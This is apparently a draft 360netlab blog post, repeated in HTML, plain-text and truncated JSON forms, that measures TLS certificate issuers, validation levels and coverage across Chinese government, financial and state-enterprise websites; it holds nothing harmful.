<img src = "/content/images/2022/04/zhengjianhui_lets.png" width = 860px /></p>
<img src = "/content/images/2022/04/zhengjianhui_access_error.png" width = 860px />
<h4 id="">央企(不含金融类央企)的情况</h4>
<p>根据我们抽取的央企(包括央企的成员单位)的相关数据,共得到836家央企及其成员单位使用的4699个证书。</p>
<p>从签发机构来看,和政府类以及金融类类似,DigiCert仍然排在第一的位置。央企也有2.4%的证书来自Let's Encrypt,看来方便使用和免费的策略对大型公司来说也是极有吸引力的。<br>
<img src = "/content/images/2022/04/big_company_issuer_O.png" width = 860px /><br>
一个例子,国家电投使用了Sectigo签发的证书。<br>
<img src = "/content/images/2022/04/spic_sectigo.png" width = 860px /></p>
<p>从证书级别来看,其DV证书的比例介于政府和金融机构中间,占比超过了一半,达到了51%。<br>
<img src = "/content/images/2022/04/big_company_cert_level.png" width = 860px /></p>
<p>证书签发机构所在国家来看,央企及其成员单位同政府和金融单位类似,因为有类似的签发机构,所以签发机构所属国别分布也类似,美国的签发机构占比最大,达到了64%,接下来是国内自己的CA机构,占比27%。<br>
<img src = "/content/images/2022/04/big_company_issuer_C.png" width = 860px /></p>
<h4 id="xxxx">xxxx</h4>
<p>。。。其他行业的数据分析</p>
<h3 id="ca">国内CA机构</h3>
<p>从上面的数据中,我们可以看到国内的CA机构中国的数字证书颁发上有一定的比例。<br>
从统计结果上来看,国内的证书主要由亚洲诚信,沃通,北京信查查信用管理公司和中国金融认证中心。除了中国金融认证中心之外,其他的CA机构都是中间CA,其中:</p>
<ul>
<li>沃通和信查查的上游CA是位于波兰的Certum</li>
<li>亚洲诚信的上游是DigiCert</li>
<li>考虑到上游RootCA对中间CA的影响力,比如诚信亚洲的证书撤销列表文件链接或者OCSP链接都是直接托管在DigiCert的网站上。沃通和信查查也有类似的情况。</li>
</ul>
<p>其实国内是有些被普遍的浏览器和操作系统认可的rootCA的,比如中国金融认证中心(CFCA),Guang Dong Certificate Authority(GDCA),天威诚信(iTrusChina), 上海数字证书认证中心(SHCA)等。不过在我们的数据统计中,除了CFCA在终端能看到有大量的证书之外,其他的机构很少看到相应的证书。具体原因尚不清楚。</p>
<h2 id="">结论</h2>
<ol>
<li>在我国政府,金融,央企等重点行业和单位使用的数字证书大多数都是美英等国家CA签发的证书,尤其是DigiCert几乎占据了所有重点行业的头部市场份额。从上一篇文章中我们可以看到在俄乌冲突中,吊销俄罗斯证书的CA机构中DigiCert首当其冲,并且其吊销的证书数量是最多的,其次是Sectigo。</li>
<li>国内CA机构占有的市场比例较小,只有亚洲诚信的市场份额较为可观,其他的都比较小。包括类似中国金融认证中心这类根CA其市场份额也比较小,只有在特定的行业(比如金融)有一定的优势。</li>
<li>我国政府域名使用有效SSL证书的情况尚不普及,从我们统计的数据来看,活跃的政府域名数字证书在二级域名层面<strong>最乐观</strong>的情况下,覆盖面也只有23%左右。</li>
<li>经济发达的省份和特定行业的政府机关使用证书的普及率较高。</li>
<li>金融行业使用的证书等级较高,但是使用国内CA签发的证书比例较低,只有20%左右。</li>
<li>在使用证书等级方面,金融机构使用高等级证书的比例最高,央企次之,政府则最低。</li>
<li>综合来看,在推进使用网络数字证书和国内数字证书颁发机构在提高市场占有率发展有较大的空间。</li>
</ol>
<h2 id="">参考资料</h2>
<ol>
<li><a href="http://www.cnnic.net.cn/hlwfzyj/hlwxzbg/hlwtjbg/202202/P020220407403488048001.pdf">http://www.cnnic.net.cn/hlwfzyj/hlwxzbg/hlwtjbg/202202/P020220407403488048001.pdf</a></li>
</ol>
<!--kg-card-end: markdown--> | 背景
在上一篇文章中,我们介绍了因俄乌冲突所引起的证书吊销情况的分析。在这篇文章中,我们继续利用360netlab的Certdb数字证书库,分析国内证书的签发,使用和覆盖情况,评估目前数字证书的实际使用情况。并结合使用证书的典型行业,对国内的若干重要行业的证书使用情况进行细化分析。
数据筛选
同上一次一样,证书库是一个巨大的数据库。我们从中选出我们关心的子集进行定量的分析,需要明确目标数据,制定好过滤条件。
这次我们分析国内的相关数据,主要聚焦在:
1. 中国大陆使用的证书;
2. 非自签名,非过期以及其他类型的非安全证书;
3. 近三个月活跃的证书;
4. 在大网上可以公开获取的证书(这一条在对外发布的时候,需要删除,下面涉及的相关内容也要删除)。
由此,获取了近260万条证书(2,594,635)。
下面说一下这些证书筛选条件的原因:
1. 中国大陆使用的证书具体来说主要包括(满足任意一条即可):
* 证书部署的IP在境内
* 证书主体的国家代码为CN
* 证书通用名中的域名或者SAN中包含的域名的的顶级域为CN
通过这三个条件,可以较为全面的得到中国的证书库。
2. 有效的和活跃的证书主要是保证证书的有效性。对于自签名,已经过期或者其他的原因判定为不安全的证书,和我们的分析主题相差较远,没有必要选取这些数据。
3. 大网上可以公开获取的证书用于将用户电脑上生成的证书去掉。现在个人电脑上安装的一些软件(比如一些杀毒软件,广告拦截软件或者一些恶意程序等)会将自己的证书写入到操作系统的根证书目录。
关于数据筛选的遗漏问题
按照条件一进行的筛选可能还存在一定的数据遗漏,比如满足下面的条件就会造成遗漏:
证书数据中没有包含证书主体的国家代码
证书签发使用的域名的顶级域不是CN
同时其业务也没有部署在国内的IP地址上
整体来说这部分比较少,并且这么部署的业务并非我们关注的关键行业。因此不会影响到整体的分析结论。
数据分析
基本情况
安全等级情况说明(对外发布需删除)
在排除掉常见的签发非webPKI体系证书的软件(比如安全软件,广告拦截软件以及一些的恶意软件)之后,近260万证书中,大概还有40%的证书(近104万)是非webPKI体系里面的。
这部分数据分为两大类:
1. 外面可以通过扫描或者其他的探测方法探测到的,总数在44万左右
2. 外网通过扫描无法探测到的,总数在60万左右
这两类数据我们通过分析其证书签发者组织(issuer O字段),对其进行了统计,如下图:
在外网无法探测到的数据中,具体来说:
1. 主要来源是来自于360se。这类证书大概率是在用户的电脑中,已经安装了相应软件的根证书,并且这类软件没有出现在我们在筛选说明4中列出的软件范围之内。
2. 值得一提的是在,在60万的无法探测到的证书中,有88%来自于国家统计局(所谓NBS,National Bureau of Statistics),还有是5%左右的用于国家税务局系统的PorxyeeRoot。
3. 对统计局的证书分析之后发现,这些证书都属于统计局联网直报平台。覆盖的IP大概有30多个,国内有接近20个省。其根证书为自签名的根证书:4118cfffe1d9d9f528de0547efc2e926cfd983d0。
4. 国家税务总局的数据同样来自于一个签发的根证书:6c6aff443835988bbdc6b3dc21480246c30db00e。电子税务业务需求。
剩余的是其他的一些的外网扫描不到的证书,占比7%左右,大概总数在4万+。这部分数据太过长尾,并且与我们此次分析目标没有关系,本文直接跳过。
证书分类情况
以下的所有分析都是基于在260万证书去除掉外网扫描不到的近60万(592,978)条不安全的证书基础上,即剩余200万证书的基础上的分析。
这200万证书中,可以分为两大类:
* 一类是在PKI体系中可以校验的,即可以通过证书链完成安全性检查
* 一类是设备厂商自签名的
* 设备厂商包括通信设备,比如路由器,交换机等
* 也包括一些安全设备,比如防火墙,IPS/WAF等
比如TOP20的签发者信息如下:
issuer_O
count
in PKI
所属厂商
DigiCert_Inc
626,746
yes
DigiCert
TrustAsia_Technologies_Inc.
384,109
yes
亚洲诚信
Let's_Encrypt
373,862
yes
Let's Encrypt
Sectigo_Limited
34,192
yes
Sectigo
HW
29,207
no
华为
sangfor
28,819
no
深信服
BIC
24,367
no
未知
Synology_Inc.
22,334
no
群辉科技
ZeroSSL
15,955
yes
ZeroSSL
GlobalSign_nv-sa
14,428
yes
GlobalSign
Fortinet
14,350
no
飞塔
INFOSEC
8,871
no
深信服
Hillstone_Networks
6,467
no
山石网科
WoTrus_CA_Limited
6,122
yes
沃通
VMware_Installer
6,022
no
VMware
QNAP_Systems_Inc.
5,731
no
QNAP
Acme_Co
5,416
no
k8s
Huawei
5,336
no
华为
Cloudflare_Inc.
4,638
yes
Cloudflare
hangzhou
4253
no
k8s
Other
363,830
mix
其占比如下图所示:
在PKI体系中的证书的情况
如果只考察在PKI系统中的证书的话,有效证书数量会下降到156万(156,6630)左右。
从签发机构来看,看国内的证书集中在DigiCert,亚洲诚信和Let's Encrypted这三家,合并市场份额超过90%。
这156万证书覆盖了:
* 224万条域名,包含16.8万条带有 * 扩展的泛域名
* 二级域名接近94万个
* IP大概有102万左右
评估国内证书覆盖度的话,我们看到大概224万域名有证书信息,覆盖的二级域名大概近100万。按照CNNIC刚刚发出的第49次《中国互联网络发展状况统计报告》[1],国内域名总数在3600万左右,这样算下来2.7%。不过按照我们以往的经验,大约80%的域名可能都是死域名,不活跃域名或者部署在境外的域名。如果按照80%的死/极度不活跃/部署在境外的域名计算,国内网站使用网络数字证书的比例应该不超过15%。
关联到35,698家我们识别的重要单位,132,695个证书。按照我们对单位级别的划分,高中低级的占比分别为(重要程度A >B > C):
在实际情况中,同一个证书可能会用于不同的单位。
这种情况比较常见于两个公司有极强的相关性的情况。比如父子公司或者一个公司实体多个公司名称的情况。
所以如果完全根据所对应的域名区分不同单位的话,单位数量可以达到38,515。
为了避免歧义和统计方便,本文后续以一个证书识别到的第一个单位为准,即按照上文所说35,698条来计算。
单位高中低级别划分的说明:
为了更好的对单位的情况进行分析,我们对识别的单位进行了级别划分,分为A,B,C三级。其中
A级:为政府机关,央企(含金融类央企),国防机构,重点医院,部属院校以及其他需要重点关注的行业和单位
B级:央企成员单位;其他金融;医疗;其他本科高校以及注册资产超十亿人民币的企业
C级:其他的事业单位
证书级别来看,国内网站使用的数字证书绝大多数都还是使用DV类型的证书,OV/EV以上的加起来份额大概在4%左右。这个比例分布和我们实际使用证书的场景是吻合的,大多数业务都不要高等级的数字证书。
目前主流的证书验证级别分为三种,分别是Domain Validated(DV), Organization Validation(OV)和Extended Validation(EV):
* DV验证是身份验证最少的SSL证书,即使是恶意程序也可以快速的轻松获取。这类证书主要用在个人网站,自媒体以及不包含个人敏感数据的网站。
* OV证书需要验证企业身份信息后颁发。OV SSL证书是当前最常见的证书类型,适用于行政、企业、科研、邮箱、论坛等各类大中型网站。
* EV顶级SSL证书,又称扩展验证型SSL证书。安全级别最高,验证审核最严格,网站部署EV SSL证书后,浏览器地址栏将变成绿色并显示企业名称。EV SSL证书一般应用于金融、银行、电商等安全需求较高的网站。
证书签发机构所属国家来看,美国占比接近70%。很大程度是因为Let's Encrypt的免费证书以及DigiCert的Encyption Everywhere占据(事实上这俩签发证书占总证书的55%,占美国签发证书的85%)。国内CA签发的证书占比接近27%,大多数是亚洲诚信贡献的。
下面对一些重点行业的数据进行分析。
重点单位的情况
前面提到,我们利用证书数据,共标记了13万+的数字证书可以对应到我们识别出来的重点单位上。这些单位按照国内省份的分布可以看到,北京,上海和广东省的数量遥遥领先国内其他的省份,这既反映了国内重点单位的分布,也反映了单位对数字证书的重视程度。
同时我们按照我们自己对识别单位的行业标签,对证书数据做了分析和统计。整体来看,企业尤其是和信息技术和科学研究相关的行业采用数字证书的比例较高。
由于一个证书所对应的单位可能存在多个标签,并且行业划分的不一致性等因素,行业数据并非此次分析数据的完整呈现,仅供参考。
政府网站的情况
抽取以gov.cn为顶级域的情况进行分析
FQDN:11,078,其中存在泛匹配的有1,106条。二级域名2,993个。
360Netlab 能够看到的顶级域为 gov.cn 的域名数量为 1,118,190 个,考虑到证书信息中有泛匹配的情况,所以对这些域名抽取二级域名得到的数量为13,047。按照最乐观的估计,即使用证书的政府网站均使用了泛匹配的证书(实际大概在1/3左右),在我国政府类网站中,采用了SSL证书的比例只有23%左右。
具体来看,浙江省政府以及浙江下面的市使用证书的情况会更普遍一些,另外经济发达的省份相比较而言也更普遍。还有就是特定业务,比如税务行业使用较为普遍。
从证书颁发机构来看,主要是DigiCert,占比达到了54.8%,接下来是国内的亚洲诚信,占比达到了19.1%,排名第三的是Let's Encypt。
从DigiCert的数据来看,有接近70%的数据是使用其Encryption Everywhere 的DV类型证书,再加上Let's Encrypt的免费证书,以及其他的签发机构提供的DV
类型的证书,国内政府机构使用DV类型的证书占比为77.9%左右。
比如下面的例子中看到贵阳市人民政府的证书使用的就是DigiCert签发的
如果从签发证书所属国别来看,国内政府网站使用的证书的签发国家主要是美国占57.5%,中国占36.6%。余下的由比利时和英国占据。
金融行业的情况
根据我们抽取的重点单位包含金融类标签的数据,共得到11471条证书。覆盖了全国3000余家金融机构,包括银行,证券,保险等金融机构。既有地方性的金融单位(比如各地的村镇银行)也有全国性的大型金融机构(比如五大行等),还有外资在国内设立的独资或者盒子的金融机构,覆盖面还是较为广泛的。
从签发机构上来看,DigiCert仍然是毫无争议的第一,不过GlobalSign上升到第二位,国内专门做金融机构的中国金融认证中心(同时也是根证书签发机构)排在亚洲诚信之后位居第四,沃通排在第五,Let's Encrypt以1.8%的份额排在第六。
从我们的数据中发现,如果从证书级别来看,显然金融机构类的证书级别要比政府类的高不少。OV和EV以上级别的证书占比超过了66%,这个占比是政府类证书的3倍。
同样,从签发机构所在国家来看,金融机构使用国外证书的情况比政府更普遍一些,国内证书的占比只有20%。
比如金融类的监管机构中国证监会在3月份就新申请了Let's Encrypt签发的证书,不过可能是测试目的。目前官方网站使用的是阿里云签发的证书,不过由于配置错误,目前chrome浏览器无法完成TLS握手。
央企(不含金融类央企)的情况
根据我们抽取的央企(包括央企的成员单位)的相关数据,共得到836家央企及其成员单位使用的4699个证书。
从签发机构来看,和政府类以及金融类类似,DigiCert仍然排在第一的位置。央企也有2.4%的证书来自Let's Encrypt,看来方便使用和免费的策略对大型公司来说也是极有吸引力的。
一个例子,国家电投使用了Sectigo签发的证书。
从证书级别来看,其DV证书的比例介于政府和金融机构中间,占比超过了一半,达到了51%。
证书签发机构所在国家来看,央企及其成员单位同政府和金融单位类似,因为有类似的签发机构,所以签发机构所属国别分布也类似,美国的签发机构占比最大,达到了64%,接下来是国内自己的CA机构,占比27%。
xxxx
。。。其他行业的数据分析
国内CA机构
从上面的数据中,我们可以看到国内的CA机构中国的数字证书颁发上有一定的比例。
从统计结果上来看,国内的证书主要由亚洲诚信,沃通,北京信查查信用管理公司和中国金融认证中心。除了中国金融认证中心之外,其他的CA机构都是中间CA,其中:
* 沃通和信查查的上游CA是位于波兰的Certum
* 亚洲诚信的上游是DigiCert
* 考虑到上游RootCA对中间CA的影响力,比如诚信亚洲的证书撤销列表文件链接或者OCSP链接都是直接托管在DigiCert的网站上。沃通和信查查也有类似的情况。
其实国内是有些被普遍的浏览器和操作系统认可的rootCA的,比如中国金融认证中心(CFCA),Guang Dong Certificate Authority(GDCA),天威诚信(iTrusChina), 上海数字证书认证中心(SHCA)等。不过在我们的数据统计中,除了CFCA在终端能看到有大量的证书之外,其他的机构很少看到相应的证书。具体原因尚不清楚。
结论
1. 在我国政府,金融,央企等重点行业和单位使用的数字证书大多数都是美英等国家CA签发的证书,尤其是DigiCert几乎占据了所有重点行业的头部市场份额。从上一篇文章中我们可以看到在俄乌冲突中,吊销俄罗斯证书的CA机构中DigiCert首当其冲,并且其吊销的证书数量是最多的,其次是Sectigo。
2. 国内CA机构占有的市场比例较小,只有亚洲诚信的市场份额较为可观,其他的都比较小。包括类似中国金融认证中心这类根CA其市场份额也比较小,只有在特定的行业(比如金融)有一定的优势。
3. 我国政府域名使用有效SSL证书的情况尚不普及,从我们统计的数据来看,活跃的政府域名数字证书在二级域名层面最乐观的情况下,覆盖面也只有23%左右。
4. 经济发达的省份和特定行业的政府机关使用证书的普及率较高。
5. 金融行业使用的证书等级较高,但是使用国内CA签发的证书比例较低,只有20%左右。
6. 在使用证书等级方面,金融机构使用高等级证书的比例最高,央企次之,政府则最低。
7. 综合来看,在推进使用网络数字证书和国内数字证书颁发机构在提高市场占有率发展有较大的空间。
参考资料
1. http://www.cnnic.net.cn/hlwfzyj/hlwxzbg/hlwtjbg/202202/P020220407403488048001.pdf
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 背景\n在[上一篇文章](__GHOST_URL__/review-revoke-russia-ssl-certificates/)中,我们介绍了因俄乌冲突所引起的证书吊销情况的分析。在这篇文章中,我们继续利用360netlab的Certdb数字证书库,分析国内证书的签发,使用和覆盖情况,评估目前数字证书的实际使用情况。并结合使用证书的典型行业,对国内的若干重要行业的证书使用情况进行细化分析。\n\n## 数据筛选\n同上一次一样,证书库是一个巨大的数据库。我们从中选出我们关心的子集进行定量的分析,需要明确目标数据,制定好过滤条件。\n这次我们分析国内的相关数据,主要聚焦在:\n```\n1. 中国大陆使用的证书;\n2. 非自签名,非过期以及其他类型的非安全证书;\n3. 近三个月活跃的证书;\n4. 在大网上可以公开获取的证书(这一条在对外发布的时候,需要删除,下面涉及的相关内容也要删除)。\n```\n由此,获取了近260万条证书(2,594,635)。\n\n下面说一下这些证书筛选条件的原因:\n1. 中国大陆使用的证书具体来说主要包括(满足任意一条即可):\n * 证书部署的IP在境内\n * 证书主体的国家代码为CN\n * 证书通用名中的域名或者SAN中包含的域名的的顶级域为CN\n 通过这三个条件,可以较为全面的得到中国的证书库。\n3. 有效的和活跃的证书主要是保证证书的有效性。对于自签名,已经过期或者其他的原因判定为不安全的证书,和我们的分析主题相差较远,没有必要选取这些数据。\n4. 大网上可以公开获取的证书用于将用户电脑上生成的证书去掉。现在个人电脑上安装的一些软件(比如一些杀毒软件,广告拦截软件或者一些恶意程序等)会将自己的证书写入到操作系统的根证书目录。\n> 关于数据筛选的遗漏问题\n> 按照条件一进行的筛选可能还存在一定的数据遗漏,比如满足下面的条件就会造成遗漏:\n > 证书数据中没有包含证书主体的国家代码\n > 证书签发使用的域名的顶级域不是CN\n > 同时其业务也没有部署在国内的IP地址上\n> 整体来说这部分比较少,并且这么部署的业务并非我们关注的关键行业。因此不会影响到整体的分析结论。\n\n## 数据分析\n### 基本情况\n#### 安全等级情况说明(对外发布需删除)\n在排除掉常见的签发非webPKI体系证书的软件(比如安全软件,广告拦截软件以及一些的恶意软件)之后,近260万证书中,大概还有40%的证书(近104万)是非webPKI体系里面的。\n这部分数据分为两大类:\n1. 外面可以通过扫描或者其他的探测方法探测到的,总数在44万左右\n2. 外网通过扫描无法探测到的,总数在60万左右\n\n这两类数据我们通过分析其证书签发者组织(issuer O字段),对其进行了统计,如下图:\n <img src = \"/content/images/2022/04/insecure_issuer_cn_distr.png\" width=860px />\n\n在外网无法探测到的数据中,具体来说:\n1. 主要来源是来自于360se。这类证书大概率是在用户的电脑中,已经安装了相应软件的根证书,并且这类软件没有出现在我们在筛选说明4中列出的软件范围之内。\n2. 值得一提的是在,在60万的无法探测到的证书中,有88%来自于国家统计局(所谓NBS,National Bureau of Statistics),还有是5%左右的用于国家税务局系统的PorxyeeRoot。\n3. 对统计局的证书分析之后发现,这些证书都属于统计局联网直报平台。覆盖的IP大概有30多个,国内有接近20个省。其根证书为自签名的根证书:4118cfffe1d9d9f528de0547efc2e926cfd983d0。\n4. 国家税务总局的数据同样来自于一个签发的根证书:6c6aff443835988bbdc6b3dc21480246c30db00e。电子税务业务需求。\n\n剩余的是其他的一些的外网扫描不到的证书,占比7%左右,大概总数在4万+。这部分数据太过长尾,并且与我们此次分析目标没有关系,本文直接跳过。\n\n#### 证书分类情况\n以下的所有分析都是基于在260万证书去除掉外网扫描不到的近60万(592,978)条不安全的证书基础上,即剩余200万证书的基础上的分析。\n这200万证书中,可以分为两大类:\n* 一类是在PKI体系中可以校验的,即可以通过证书链完成安全性检查\n* 一类是设备厂商自签名的\n * 设备厂商包括通信设备,比如路由器,交换机等\n * 也包括一些安全设备,比如防火墙,IPS/WAF等\n\n比如TOP20的签发者信息如下:\n\n|issuer_O|count|in PKI|所属厂商|\n|-|-|-|-|\nDigiCert_Inc|626,746|yes|DigiCert\nTrustAsia_Technologies_Inc.|384,109|yes|亚洲诚信\nLet's_Encrypt|373,862|yes|Let's Encrypt\nSectigo_Limited|34,192|yes|Sectigo\nHW|29,207|no|华为\nsangfor|28,819|no|深信服\nBIC|24,367|no|未知\nSynology_Inc.|22,334|no|群辉科技\nZeroSSL|15,955|yes|ZeroSSL\nGlobalSign_nv-sa|14,428|yes|GlobalSign\nFortinet|14,350|no|飞塔\nINFOSEC|8,871|no|深信服\nHillstone_Networks|6,467|no|山石网科\nWoTrus_CA_Limited|6,122|yes|沃通\nVMware_Installer|6,022|no|VMware\nQNAP_Systems_Inc.|5,731|no|QNAP\nAcme_Co|5,416|no|k8s\nHuawei|5,336|no|华为\nCloudflare_Inc.|4,638|yes|Cloudflare\nhangzhou|4253|no|k8s\nOther|363,830|mix|\n\n其占比如下图所示:\n<img src = \"/content/images/2022/04/issuer_O_distrbution.png\" width = 860px />\n\n#### 在PKI体系中的证书的情况\n如果只考察在PKI系统中的证书的话,有效证书数量会下降到156万(156,6630)左右。\n\n从签发机构来看,看国内的证书集中在DigiCert,亚洲诚信和Let's Encrypted这三家,合并市场份额超过90%。\n<img src = \"/content/images/2022/04/gen_certs_issuer_O.png\" width=860px />\n\n这156万证书覆盖了:\n* 224万条域名,包含16.8万条带有 \\* 扩展的泛域名\n* 二级域名接近94万个\n* IP大概有102万左右\n\n评估国内证书覆盖度的话,我们看到大概224万域名有证书信息,覆盖的二级域名大概近100万。按照CNNIC刚刚发出的第49次《中国互联网络发展状况统计报告》[1],国内域名总数在3600万左右,这样算下来2.7%。不过按照我们以往的经验,大约80%的域名可能都是死域名,不活跃域名或者部署在境外的域名。如果按照80%的死/极度不活跃/部署在境外的域名计算,国内网站使用网络数字证书的比例应该不超过15%。\n\n关联到35,698家我们识别的重要单位,132,695个证书。按照我们对单位级别的划分,高中低级的占比分别为(重要程度A >B > C):\n<img src = \"/content/images/2022/04/organization_level_distt.png\" width = 860px />\n\n> 在实际情况中,同一个证书可能会用于不同的单位。\n> 这种情况比较常见于两个公司有极强的相关性的情况。比如父子公司或者一个公司实体多个公司名称的情况。\n> 所以如果完全根据所对应的域名区分不同单位的话,单位数量可以达到38,515。\n> 为了避免歧义和统计方便,本文后续以一个证书识别到的第一个单位为准,即按照上文所说35,698条来计算。\n> \n> 单位高中低级别划分的说明:\n> 为了更好的对单位的情况进行分析,我们对识别的单位进行了级别划分,分为A,B,C三级。其中\n> A级:为政府机关,央企(含金融类央企),国防机构,重点医院,部属院校以及其他需要重点关注的行业和单位\n> B级:央企成员单位;其他金融;医疗;其他本科高校以及注册资产超十亿人民币的企业\n> C级:其他的事业单位\n\n证书级别来看,国内网站使用的数字证书绝大多数都还是使用DV类型的证书,OV/EV以上的加起来份额大概在4%左右。这个比例分布和我们实际使用证书的场景是吻合的,大多数业务都不要高等级的数字证书。\n<img src = \"/content/images/2022/04/gen_cert_level.png\" width = 860px />\n> 目前主流的证书验证级别分为三种,分别是Domain Validated(DV), Organization Validation(OV)和Extended Validation(EV):\n> * DV验证是身份验证最少的SSL证书,即使是恶意程序也可以快速的轻松获取。这类证书主要用在个人网站,自媒体以及不包含个人敏感数据的网站。\n> * OV证书需要验证企业身份信息后颁发。OV SSL证书是当前最常见的证书类型,适用于行政、企业、科研、邮箱、论坛等各类大中型网站。\n> * EV顶级SSL证书,又称扩展验证型SSL证书。安全级别最高,验证审核最严格,网站部署EV SSL证书后,浏览器地址栏将变成绿色并显示企业名称。EV SSL证书一般应用于金融、银行、电商等安全需求较高的网站。\n\n证书签发机构所属国家来看,美国占比接近70%。很大程度是因为Let's Encrypt的免费证书以及DigiCert的Encyption Everywhere占据(事实上这俩签发证书占总证书的55%,占美国签发证书的85%)。国内CA签发的证书占比接近27%,大多数是亚洲诚信贡献的。\n<img src = \"/content/images/2022/04/gen_cert_issuer_C.png\" width = 860px />\n\n下面对一些重点行业的数据进行分析。\n### 重点单位的情况\n前面提到,我们利用证书数据,共标记了13万+的数字证书可以对应到我们识别出来的重点单位上。这些单位按照国内省份的分布可以看到,北京,上海和广东省的数量遥遥领先国内其他的省份,这既反映了国内重点单位的分布,也反映了单位对数字证书的重视程度。\n<img src = \"/content/images/2022/04/province_stats_org_certs.png\" width=860px />\n\n同时我们按照我们自己对识别单位的行业标签,对证书数据做了分析和统计。整体来看,企业尤其是和信息技术和科学研究相关的行业采用数字证书的比例较高。\n<img src = \"/content/images/2022/04/industry_certs_distr.png\" width=860px />\n> 由于一个证书所对应的单位可能存在多个标签,并且行业划分的不一致性等因素,行业数据并非此次分析数据的完整呈现,仅供参考。\n\n#### 政府网站的情况\n抽取以`gov.cn`为顶级域的情况进行分析\nFQDN:11,078,其中存在泛匹配的有1,106条。二级域名2,993个。\n360Netlab 能够看到的顶级域为 `gov.cn` 的域名数量为 1,118,190 个,考虑到证书信息中有泛匹配的情况,所以对这些域名抽取二级域名得到的数量为13,047。按照最乐观的估计,即使用证书的政府网站均使用了泛匹配的证书(实际大概在1/3左右),**在我国政府类网站中,采用了SSL证书的比例只有23%左右。**\n具体来看,浙江省政府以及浙江下面的市使用证书的情况会更普遍一些,另外经济发达的省份相比较而言也更普遍。还有就是特定业务,比如税务行业使用较为普遍。\n<img src = \"/content/images/2022/04/gov_sites_subdomain_certs.png\" width = 860px />\n\n从证书颁发机构来看,主要是DigiCert,占比达到了54.8%,接下来是国内的亚洲诚信,占比达到了19.1%,排名第三的是Let's Encypt。\n<img src = \"/content/images/2022/04/gov_cert_issuer_O.png\" width=860px />\n\n从DigiCert的数据来看,有接近70%的数据是使用其```Encryption Everywhere ```的DV类型证书,再加上Let's Encrypt的免费证书,以及其他的签发机构提供的DV\n类型的证书,国内政府机构使用DV类型的证书占比为77.9%左右。\n<img src = \"/content/images/2022/04/gov_cert_level.png\" width = 860px />\n比如下面的例子中看到贵阳市人民政府的证书使用的就是DigiCert签发的\n<img src = \"/content/images/2022/04/guiyang_digicert.png\" width = 860px />\n\n如果从签发证书所属国别来看,国内政府网站使用的证书的签发国家主要是美国占57.5%,中国占36.6%。余下的由比利时和英国占据。\n<img src = \"/content/images/2022/04/gov_cert_issuer_C.png\" width = 860px />\n\n\n#### 金融行业的情况\n根据我们抽取的重点单位包含金融类标签的数据,共得到11471条证书。覆盖了全国3000余家金融机构,包括银行,证券,保险等金融机构。既有地方性的金融单位(比如各地的村镇银行)也有全国性的大型金融机构(比如五大行等),还有外资在国内设立的独资或者盒子的金融机构,覆盖面还是较为广泛的。\n\n从签发机构上来看,DigiCert仍然是毫无争议的第一,不过GlobalSign上升到第二位,国内专门做金融机构的中国金融认证中心(同时也是根证书签发机构)排在亚洲诚信之后位居第四,沃通排在第五,**Let's Encrypt以1.8%的份额排在第六**。\n<img src = \"/content/images/2022/04/bank_cert_issuer_O.png\" width = 860px />\n\n从我们的数据中发现,如果从证书级别来看,显然金融机构类的证书级别要比政府类的高不少。OV和EV以上级别的证书占比超过了66%,这个占比是政府类证书的3倍。\n<img src = \"/content/images/2022/04/bank_cert_level.png\" width = 860px />\n\n同样,从签发机构所在国家来看,金融机构使用国外证书的情况比政府更普遍一些,国内证书的占比只有20%。\n<img src = \"/content/images/2022/04/bank_cert_issuer_C.png\" width = 860px />\n比如金融类的监管机构中国证监会在3月份就新申请了Let's Encrypt签发的证书,不过可能是测试目的。目前官方网站使用的是阿里云签发的证书,不过由于配置错误,目前chrome浏览器无法完成TLS握手。\n<img src = \"/content/images/2022/04/zhengjianhui_lets.png\" width = 860px />\n\n<img src = \"/content/images/2022/04/zhengjianhui_access_error.png\" width = 860px />\n\n#### 央企(不含金融类央企)的情况\n根据我们抽取的央企(包括央企的成员单位)的相关数据,共得到836家央企及其成员单位使用的4699个证书。\n\n从签发机构来看,和政府类以及金融类类似,DigiCert仍然排在第一的位置。央企也有2.4%的证书来自Let's Encrypt,看来方便使用和免费的策略对大型公司来说也是极有吸引力的。\n<img src = \"/content/images/2022/04/big_company_issuer_O.png\" width = 860px />\n一个例子,国家电投使用了Sectigo签发的证书。\n<img src = \"/content/images/2022/04/spic_sectigo.png\" width = 860px />\n\n从证书级别来看,其DV证书的比例介于政府和金融机构中间,占比超过了一半,达到了51%。\n<img src = \"/content/images/2022/04/big_company_cert_level.png\" width = 860px />\n\n证书签发机构所在国家来看,央企及其成员单位同政府和金融单位类似,因为有类似的签发机构,所以签发机构所属国别分布也类似,美国的签发机构占比最大,达到了64%,接下来是国内自己的CA机构,占比27%。\n<img src = \"/content/images/2022/04/big_company_issuer_C.png\" width = 860px />\n\n\n#### xxxx\n。。。其他行业的数据分析\n\n### 国内CA机构\n从上面的数据中,我们可以看到国内的CA机构中国的数字证书颁发上有一定的比例。\n从统计结果上来看,国内的证书主要由亚洲诚信,沃通,北京信查查信用管理公司和中国金融认证中心。除了中国金融认证中心之外,其他的CA机构都是中间CA,其中:\n* 沃通和信查查的上游CA是位于波兰的Certum\n* 亚洲诚信的上游是DigiCert\n* 考虑到上游RootCA对中间CA的影响力,比如诚信亚洲的证书撤销列表文件链接或者OCSP链接都是直接托管在DigiCert的网站上。沃通和信查查也有类似的情况。\n\n其实国内是有些被普遍的浏览器和操作系统认可的rootCA的,比如中国金融认证中心(CFCA),Guang Dong Certificate Authority(GDCA),天威诚信(iTrusChina), 上海数字证书认证中心(SHCA)等。不过在我们的数据统计中,除了CFCA在终端能看到有大量的证书之外,其他的机构很少看到相应的证书。具体原因尚不清楚。\n\n## 结论\n1. 在我国政府,金融,央企等重点行业和单位使用的数字证书大多数都是美英等国家CA签发的证书,尤其是DigiCert几乎占据了所有重点行业的头部市场份额。从上一篇文章中我们可以看到在俄乌冲突中,吊销俄罗斯证书的CA机构中DigiCert首当其冲,并且其吊销的证书数量是最多的,其次是Sectigo。\n2. 国内CA机构占有的市场比例较小,只有亚洲诚信的市场份额较为可观,其他的都比较小。包括类似中国金融认证中心这类根CA其市场份额也比较小,只有在特定的行业(比如金融)有一定的优势。\n4. 我国政府域名使用有效SSL证书的情况尚不普及,从我们统计的数据来看,活跃的政府域名数字证书在二级域名层面**最乐观**的情况下,覆盖面也只有23%左右。\n5. 经济发达的省份和特定行业的政府机关使用证书的普及率较高。\n6. 金融行业使用的证书等级较高,但是使用国内CA签发的证书比例较低,只有20%左右。\n7. 